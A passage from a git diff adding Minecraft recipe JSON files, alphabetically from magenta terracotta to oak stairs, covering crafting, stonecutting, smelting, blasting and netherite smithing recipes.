"minecraft:magenta_stained_glass_pane", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magenta_terracotta.json b/src/data/minecraft/recipes/magenta_terracotta.json new file mode 100644 index 00000000..d981d39f --- /dev/null +++ b/src/data/minecraft/recipes/magenta_terracotta.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_terracotta", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:terracotta" + }, + "X": { + "item": "minecraft:magenta_dye" + } + }, + "result": { + "item": "minecraft:magenta_terracotta", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magenta_wool.json b/src/data/minecraft/recipes/magenta_wool.json new file mode 100644 index 00000000..bdd3afb8 --- /dev/null +++ b/src/data/minecraft/recipes/magenta_wool.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wool", + "ingredients": [ + { + "item": "minecraft:magenta_dye" + }, + { + "item": "minecraft:white_wool" + } + ], + "result": { + "item": "minecraft:magenta_wool" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magma_block.json b/src/data/minecraft/recipes/magma_block.json new file mode 100644 index 00000000..79ea04d4 --- /dev/null +++ b/src/data/minecraft/recipes/magma_block.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:magma_cream" + } + }, + "result": { + "item": "minecraft:magma_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magma_cream.json b/src/data/minecraft/recipes/magma_cream.json new file mode 100644 index 00000000..36981e0a --- /dev/null +++ b/src/data/minecraft/recipes/magma_cream.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:blaze_powder" + }, + { + "item": "minecraft:slime_ball" + } + ], + "result": { + "item": "minecraft:magma_cream" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/map.json b/src/data/minecraft/recipes/map.json new file mode 100644 index 00000000..7ac390b9 --- /dev/null +++ b/src/data/minecraft/recipes/map.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:paper" + }, + "X": { + "item": "minecraft:compass" + } + }, + "result": { + "item": "minecraft:map" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/map_cloning.json b/src/data/minecraft/recipes/map_cloning.json new file mode 100644 index 00000000..8fdbbceb --- /dev/null +++ b/src/data/minecraft/recipes/map_cloning.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:crafting_special_mapcloning" +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/map_extending.json b/src/data/minecraft/recipes/map_extending.json new file mode 100644 index 00000000..97a5a923 --- /dev/null +++ b/src/data/minecraft/recipes/map_extending.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:crafting_special_mapextending" +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/melon.json b/src/data/minecraft/recipes/melon.json new file mode 100644 index 00000000..f2f00345 --- /dev/null +++ b/src/data/minecraft/recipes/melon.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "MMM", + "MMM", + "MMM" + ], + "key": { + "M": { + "item": "minecraft:melon_slice" + } + }, + "result": { + "item": "minecraft:melon" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/melon_seeds.json b/src/data/minecraft/recipes/melon_seeds.json new file mode 100644 index 00000000..334e9e3e --- /dev/null +++ b/src/data/minecraft/recipes/melon_seeds.json @@ -0,0 +1,11 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:melon_slice" + } + ], + "result": { + "item": "minecraft:melon_seeds" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/minecart.json b/src/data/minecraft/recipes/minecart.json new file mode 100644 index 00000000..ea352208 --- /dev/null +++ b/src/data/minecraft/recipes/minecart.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# #", + "###" + ], + "key": { + "#": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:minecart" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/mojang_banner_pattern.json b/src/data/minecraft/recipes/mojang_banner_pattern.json new file mode 100644 index 00000000..079f221a --- /dev/null +++ b/src/data/minecraft/recipes/mojang_banner_pattern.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:paper" + }, + { + "item": "minecraft:enchanted_golden_apple" + } + ], + "result": { + "item": "minecraft:mojang_banner_pattern" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/mossy_cobblestone.json b/src/data/minecraft/recipes/mossy_cobblestone.json new file mode 100644 index 00000000..f7bf19b4 --- /dev/null +++ b/src/data/minecraft/recipes/mossy_cobblestone.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:cobblestone" + }, + { + "item": "minecraft:vine" + } + ], + "result": { + "item": "minecraft:mossy_cobblestone" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/mossy_cobblestone_slab.json b/src/data/minecraft/recipes/mossy_cobblestone_slab.json new file mode 100644 index 00000000..84de5e06 --- /dev/null +++ b/src/data/minecraft/recipes/mossy_cobblestone_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:mossy_cobblestone" + } + }, + "result": { + "item": "minecraft:mossy_cobblestone_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/mossy_cobblestone_slab_from_mossy_cobblestone_stonecutting.json b/src/data/minecraft/recipes/mossy_cobblestone_slab_from_mossy_cobblestone_stonecutting.json new file mode 100644 index 00000000..eb76e9d1 --- /dev/null +++ b/src/data/minecraft/recipes/mossy_cobblestone_slab_from_mossy_cobblestone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:mossy_cobblestone" + }, + "result": "minecraft:mossy_cobblestone_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/mossy_cobblestone_stairs.json b/src/data/minecraft/recipes/mossy_cobblestone_stairs.json new file mode 100644 index 00000000..e859d20c --- /dev/null +++ b/src/data/minecraft/recipes/mossy_cobblestone_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:mossy_cobblestone" + } + }, + "result": { + "item": "minecraft:mossy_cobblestone_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/mossy_cobblestone_stairs_from_mossy_cobblestone_stonecutting.json b/src/data/minecraft/recipes/mossy_cobblestone_stairs_from_mossy_cobblestone_stonecutting.json new file mode 100644 index 00000000..58f78430 --- /dev/null +++ b/src/data/minecraft/recipes/mossy_cobblestone_stairs_from_mossy_cobblestone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:mossy_cobblestone" + }, + "result": "minecraft:mossy_cobblestone_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/mossy_cobblestone_wall.json b/src/data/minecraft/recipes/mossy_cobblestone_wall.json new file mode 100644 index 00000000..eaa9f1c9 --- /dev/null +++ b/src/data/minecraft/recipes/mossy_cobblestone_wall.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:mossy_cobblestone" + } + }, + "result": { + "item": "minecraft:mossy_cobblestone_wall", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/mossy_cobblestone_wall_from_mossy_cobblestone_stonecutting.json b/src/data/minecraft/recipes/mossy_cobblestone_wall_from_mossy_cobblestone_stonecutting.json new file mode 100644 index 00000000..1265aa8a --- /dev/null +++ b/src/data/minecraft/recipes/mossy_cobblestone_wall_from_mossy_cobblestone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:mossy_cobblestone" + }, + "result": "minecraft:mossy_cobblestone_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/mossy_stone_brick_slab.json b/src/data/minecraft/recipes/mossy_stone_brick_slab.json new file mode 100644 index 00000000..63a7b200 --- /dev/null +++ b/src/data/minecraft/recipes/mossy_stone_brick_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:mossy_stone_bricks" + } + }, + "result": { + "item": "minecraft:mossy_stone_brick_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/mossy_stone_brick_slab_from_mossy_stone_brick_stonecutting.json b/src/data/minecraft/recipes/mossy_stone_brick_slab_from_mossy_stone_brick_stonecutting.json new file mode 100644 index 00000000..5c6cdda9 --- /dev/null +++ b/src/data/minecraft/recipes/mossy_stone_brick_slab_from_mossy_stone_brick_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:mossy_stone_bricks" + }, + "result": "minecraft:mossy_stone_brick_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/mossy_stone_brick_stairs.json b/src/data/minecraft/recipes/mossy_stone_brick_stairs.json new file mode 100644 index 00000000..ce787b12 --- /dev/null +++ b/src/data/minecraft/recipes/mossy_stone_brick_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:mossy_stone_bricks" + } + }, + "result": { + "item": "minecraft:mossy_stone_brick_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/mossy_stone_brick_stairs_from_mossy_stone_brick_stonecutting.json b/src/data/minecraft/recipes/mossy_stone_brick_stairs_from_mossy_stone_brick_stonecutting.json new file mode 100644 index 00000000..9b2e1728 --- /dev/null +++ b/src/data/minecraft/recipes/mossy_stone_brick_stairs_from_mossy_stone_brick_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:mossy_stone_bricks" + }, + "result": "minecraft:mossy_stone_brick_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/mossy_stone_brick_wall.json b/src/data/minecraft/recipes/mossy_stone_brick_wall.json new file mode 100644 index 00000000..e91a8ebf --- /dev/null +++ b/src/data/minecraft/recipes/mossy_stone_brick_wall.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:mossy_stone_bricks" + } + }, + "result": { + "item": "minecraft:mossy_stone_brick_wall", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/mossy_stone_brick_wall_from_mossy_stone_brick_stonecutting.json b/src/data/minecraft/recipes/mossy_stone_brick_wall_from_mossy_stone_brick_stonecutting.json new file mode 100644 index 00000000..cd58b30e --- /dev/null +++ b/src/data/minecraft/recipes/mossy_stone_brick_wall_from_mossy_stone_brick_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:mossy_stone_bricks" + }, + "result": "minecraft:mossy_stone_brick_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/mossy_stone_bricks.json b/src/data/minecraft/recipes/mossy_stone_bricks.json new file mode 100644 index 00000000..74fa333a --- /dev/null +++ b/src/data/minecraft/recipes/mossy_stone_bricks.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:stone_bricks" + }, + { + "item": "minecraft:vine" + } + ], + "result": { + "item": "minecraft:mossy_stone_bricks" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/mushroom_stew.json b/src/data/minecraft/recipes/mushroom_stew.json new file mode 100644 index 00000000..507d110f --- /dev/null +++ b/src/data/minecraft/recipes/mushroom_stew.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:brown_mushroom" + }, + { + "item": "minecraft:red_mushroom" + }, + { + "item": "minecraft:bowl" + } + ], + "result": { + "item": "minecraft:mushroom_stew" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/nether_brick.json b/src/data/minecraft/recipes/nether_brick.json new file mode 100644 index 00000000..205d738d --- /dev/null +++ b/src/data/minecraft/recipes/nether_brick.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:netherrack" + }, + "result": "minecraft:nether_brick", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/nether_brick_fence.json b/src/data/minecraft/recipes/nether_brick_fence.json new file mode 100644 index 00000000..e8acd844 --- /dev/null +++ b/src/data/minecraft/recipes/nether_brick_fence.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "#-#", + "#-#" + ], + "key": { + "#": { + "item": "minecraft:nether_bricks" + }, + "-": { + "item": "minecraft:nether_brick" + } + }, + "result": { + "item": "minecraft:nether_brick_fence", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/nether_brick_slab.json b/src/data/minecraft/recipes/nether_brick_slab.json new file mode 100644 index 00000000..65806f5a --- /dev/null +++ b/src/data/minecraft/recipes/nether_brick_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:nether_bricks" + } + }, + "result": { + "item": "minecraft:nether_brick_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/nether_brick_slab_from_nether_bricks_stonecutting.json b/src/data/minecraft/recipes/nether_brick_slab_from_nether_bricks_stonecutting.json new file mode 100644 index 00000000..5da3c144 --- /dev/null +++ b/src/data/minecraft/recipes/nether_brick_slab_from_nether_bricks_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:nether_bricks" + }, + "result": "minecraft:nether_brick_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/nether_brick_stairs.json b/src/data/minecraft/recipes/nether_brick_stairs.json new file mode 100644 index 00000000..bb9789fe --- /dev/null +++ b/src/data/minecraft/recipes/nether_brick_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:nether_bricks" + } + }, + "result": { + "item": "minecraft:nether_brick_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/nether_brick_stairs_from_nether_bricks_stonecutting.json b/src/data/minecraft/recipes/nether_brick_stairs_from_nether_bricks_stonecutting.json new file mode 100644 index 00000000..955937be --- /dev/null +++ b/src/data/minecraft/recipes/nether_brick_stairs_from_nether_bricks_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:nether_bricks" + }, + "result": "minecraft:nether_brick_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/nether_brick_wall.json b/src/data/minecraft/recipes/nether_brick_wall.json new file mode 100644 index 00000000..351346cb --- /dev/null +++ b/src/data/minecraft/recipes/nether_brick_wall.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:nether_bricks" + } + }, + "result": { + "item": "minecraft:nether_brick_wall", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/nether_brick_wall_from_nether_bricks_stonecutting.json b/src/data/minecraft/recipes/nether_brick_wall_from_nether_bricks_stonecutting.json new file mode 100644 index 00000000..650fd271 --- /dev/null +++ b/src/data/minecraft/recipes/nether_brick_wall_from_nether_bricks_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:nether_bricks" + }, + "result": "minecraft:nether_brick_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/nether_bricks.json b/src/data/minecraft/recipes/nether_bricks.json new file mode 100644 index 00000000..b0fb36ad --- /dev/null +++ b/src/data/minecraft/recipes/nether_bricks.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "NN", + "NN" + ], + "key": { + "N": { + "item": "minecraft:nether_brick" + } + }, + "result": { + "item": "minecraft:nether_bricks" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/nether_wart_block.json b/src/data/minecraft/recipes/nether_wart_block.json new file mode 100644 index 00000000..d8263254 --- /dev/null +++ b/src/data/minecraft/recipes/nether_wart_block.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:nether_wart" + } + }, + "result": { + "item": "minecraft:nether_wart_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/netherite_axe_smithing.json b/src/data/minecraft/recipes/netherite_axe_smithing.json new file mode 100644 index 00000000..c2996de0 --- /dev/null +++ b/src/data/minecraft/recipes/netherite_axe_smithing.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:smithing", + "base": { + "item": "minecraft:diamond_axe" + }, + "addition": { + "item": "minecraft:netherite_ingot" + }, + "result": { + "item": "minecraft:netherite_axe" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/netherite_block.json b/src/data/minecraft/recipes/netherite_block.json new file mode 100644 index 00000000..cbf3126c --- /dev/null +++ b/src/data/minecraft/recipes/netherite_block.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:netherite_ingot" + } + }, + "result": { + "item": "minecraft:netherite_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/netherite_boots_smithing.json b/src/data/minecraft/recipes/netherite_boots_smithing.json new file mode 100644 index 00000000..48b3da7a --- /dev/null +++ b/src/data/minecraft/recipes/netherite_boots_smithing.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:smithing", + "base": { + "item": "minecraft:diamond_boots" + }, + "addition": { + "item": "minecraft:netherite_ingot" + }, + "result": { + "item": "minecraft:netherite_boots" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/netherite_chestplate_smithing.json b/src/data/minecraft/recipes/netherite_chestplate_smithing.json new file mode 100644 index 00000000..87b583b9 --- /dev/null +++ b/src/data/minecraft/recipes/netherite_chestplate_smithing.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:smithing", + "base": { + "item": "minecraft:diamond_chestplate" + }, + "addition": { + "item": "minecraft:netherite_ingot" + }, + "result": { + "item": "minecraft:netherite_chestplate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/netherite_helmet_smithing.json b/src/data/minecraft/recipes/netherite_helmet_smithing.json new file mode 100644 index 00000000..3788b0c0 --- /dev/null +++ b/src/data/minecraft/recipes/netherite_helmet_smithing.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:smithing", + "base": { + "item": "minecraft:diamond_helmet" + }, + "addition": { + "item": "minecraft:netherite_ingot" + }, + "result": { + "item": "minecraft:netherite_helmet" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/netherite_hoe_smithing.json b/src/data/minecraft/recipes/netherite_hoe_smithing.json new file mode 100644 index 00000000..8c593171 --- /dev/null +++ b/src/data/minecraft/recipes/netherite_hoe_smithing.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:smithing", + "base": { + "item": "minecraft:diamond_hoe" + }, + "addition": { + "item": "minecraft:netherite_ingot" + }, + "result": { + "item": "minecraft:netherite_hoe" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/netherite_ingot.json b/src/data/minecraft/recipes/netherite_ingot.json new file mode 100644 index 00000000..6077a9bd --- /dev/null +++ b/src/data/minecraft/recipes/netherite_ingot.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "netherite_ingot", + "ingredients": [ + { + "item": "minecraft:netherite_scrap" + }, + { + "item": "minecraft:netherite_scrap" + }, + { + "item": "minecraft:netherite_scrap" + }, + { + "item": "minecraft:netherite_scrap" + }, + { + "item": "minecraft:gold_ingot" + }, + { + "item": "minecraft:gold_ingot" + }, + { + "item": "minecraft:gold_ingot" + }, + { + "item": "minecraft:gold_ingot" + } + ], + "result": { + "item": "minecraft:netherite_ingot" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/netherite_ingot_from_netherite_block.json b/src/data/minecraft/recipes/netherite_ingot_from_netherite_block.json new file mode 100644 index 00000000..e61416e2 --- /dev/null +++ b/src/data/minecraft/recipes/netherite_ingot_from_netherite_block.json @@ -0,0 +1,13 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "netherite_ingot", + "ingredients": [ + { + "item": "minecraft:netherite_block" + } + ], + "result": { + "item": "minecraft:netherite_ingot", + "count": 9 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/netherite_leggings_smithing.json b/src/data/minecraft/recipes/netherite_leggings_smithing.json new file mode 100644 index 00000000..b646d523 --- /dev/null +++ b/src/data/minecraft/recipes/netherite_leggings_smithing.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:smithing", + "base": { + "item": "minecraft:diamond_leggings" + }, + "addition": { + "item": "minecraft:netherite_ingot" + }, + "result": { + "item": "minecraft:netherite_leggings" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/netherite_pickaxe_smithing.json b/src/data/minecraft/recipes/netherite_pickaxe_smithing.json new file mode 100644 index 00000000..c39310c6 --- /dev/null +++ b/src/data/minecraft/recipes/netherite_pickaxe_smithing.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:smithing", + "base": { + "item": "minecraft:diamond_pickaxe" + }, + "addition": { + "item": "minecraft:netherite_ingot" + }, + "result": { + "item": "minecraft:netherite_pickaxe" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/netherite_scrap.json b/src/data/minecraft/recipes/netherite_scrap.json new file mode 100644 index 00000000..8cf69f5c --- /dev/null +++ b/src/data/minecraft/recipes/netherite_scrap.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:ancient_debris" + }, + "result": "minecraft:netherite_scrap", + "experience": 2.0, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/netherite_scrap_from_blasting.json b/src/data/minecraft/recipes/netherite_scrap_from_blasting.json new file mode 100644 index 00000000..dd586b3c --- /dev/null +++ b/src/data/minecraft/recipes/netherite_scrap_from_blasting.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:blasting", + "ingredient": { + "item": "minecraft:ancient_debris" + }, + "result": "minecraft:netherite_scrap", + "experience": 2.0, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/netherite_shovel_smithing.json b/src/data/minecraft/recipes/netherite_shovel_smithing.json new file mode 100644 index 00000000..45302898 --- /dev/null +++ b/src/data/minecraft/recipes/netherite_shovel_smithing.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:smithing", + "base": { + "item": "minecraft:diamond_shovel" + }, + "addition": { + "item": "minecraft:netherite_ingot" + }, + "result": { + "item": "minecraft:netherite_shovel" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/netherite_sword_smithing.json b/src/data/minecraft/recipes/netherite_sword_smithing.json new file mode 100644 index 00000000..15afa77e --- /dev/null +++ b/src/data/minecraft/recipes/netherite_sword_smithing.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:smithing", + "base": { + "item": "minecraft:diamond_sword" + }, + "addition": { + "item": "minecraft:netherite_ingot" + }, + "result": { + "item": "minecraft:netherite_sword" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/note_block.json b/src/data/minecraft/recipes/note_block.json new file mode 100644 index 00000000..6baea028 --- /dev/null +++ b/src/data/minecraft/recipes/note_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "tag": "minecraft:planks" + }, + "X": { + "item": "minecraft:redstone" + } + }, + "result": { + "item": "minecraft:note_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/oak_boat.json b/src/data/minecraft/recipes/oak_boat.json new file mode 100644 index 00000000..1de9bf3f --- /dev/null +++ b/src/data/minecraft/recipes/oak_boat.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "boat", + "pattern": [ + "# #", + "###" + ], + "key": { + "#": { + "item": "minecraft:oak_planks" + } + }, + "result": { + "item": "minecraft:oak_boat" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/oak_button.json b/src/data/minecraft/recipes/oak_button.json new file mode 100644 index 00000000..afbfeddd --- /dev/null +++ b/src/data/minecraft/recipes/oak_button.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wooden_button", + "ingredients": [ + { + "item": "minecraft:oak_planks" + } + ], + "result": { + "item": "minecraft:oak_button" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/oak_door.json b/src/data/minecraft/recipes/oak_door.json new file mode 100644 index 00000000..92779b12 --- /dev/null +++ b/src/data/minecraft/recipes/oak_door.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_door", + "pattern": [ + "##", + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:oak_planks" + } + }, + "result": { + "item": "minecraft:oak_door", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/oak_fence.json b/src/data/minecraft/recipes/oak_fence.json new file mode 100644 index 00000000..7ad33d70 --- /dev/null +++ b/src/data/minecraft/recipes/oak_fence.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_fence", + "pattern": [ + "W#W", + "W#W" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "W": { + "item": "minecraft:oak_planks" + } + }, + "result": { + "item": "minecraft:oak_fence", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/oak_fence_gate.json b/src/data/minecraft/recipes/oak_fence_gate.json new file mode 100644 index 00000000..563bfb35 --- /dev/null +++ b/src/data/minecraft/recipes/oak_fence_gate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_fence_gate", + "pattern": [ + "#W#", + "#W#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "W": { + "item": "minecraft:oak_planks" + } + }, + "result": { + "item": "minecraft:oak_fence_gate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/oak_planks.json b/src/data/minecraft/recipes/oak_planks.json new file mode 100644 index 00000000..e6e42790 --- /dev/null +++ b/src/data/minecraft/recipes/oak_planks.json @@ -0,0 +1,13 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "planks", + "ingredients": [ + { + "tag": "minecraft:oak_logs" + } + ], + "result": { + "item": "minecraft:oak_planks", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/oak_pressure_plate.json b/src/data/minecraft/recipes/oak_pressure_plate.json new file mode 100644 index 00000000..03e3df62 --- /dev/null +++ b/src/data/minecraft/recipes/oak_pressure_plate.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_pressure_plate", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:oak_planks" + } + }, + "result": { + "item": "minecraft:oak_pressure_plate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/oak_sign.json b/src/data/minecraft/recipes/oak_sign.json new file mode 100644 index 00000000..1c3a03a8 --- /dev/null +++ b/src/data/minecraft/recipes/oak_sign.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "sign", + "pattern": [ + "###", + "###", + " X " + ], + "key": { + "#": { + "item": "minecraft:oak_planks" + }, + "X": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:oak_sign", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/oak_slab.json b/src/data/minecraft/recipes/oak_slab.json new file mode 100644 index 00000000..8e36e00f --- /dev/null +++ b/src/data/minecraft/recipes/oak_slab.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_slab", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:oak_planks" + } + }, + "result": { + "item": "minecraft:oak_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/oak_stairs.json b/src/data/minecraft/recipes/oak_stairs.json new file mode 100644 index 00000000..1fa97dd4 --- /dev/null +++ b/src/data/minecraft/recipes/oak_stairs.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_stairs", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:oak_planks" + } + }, + "result": { + "item": "minecraft:oak_stairs", + 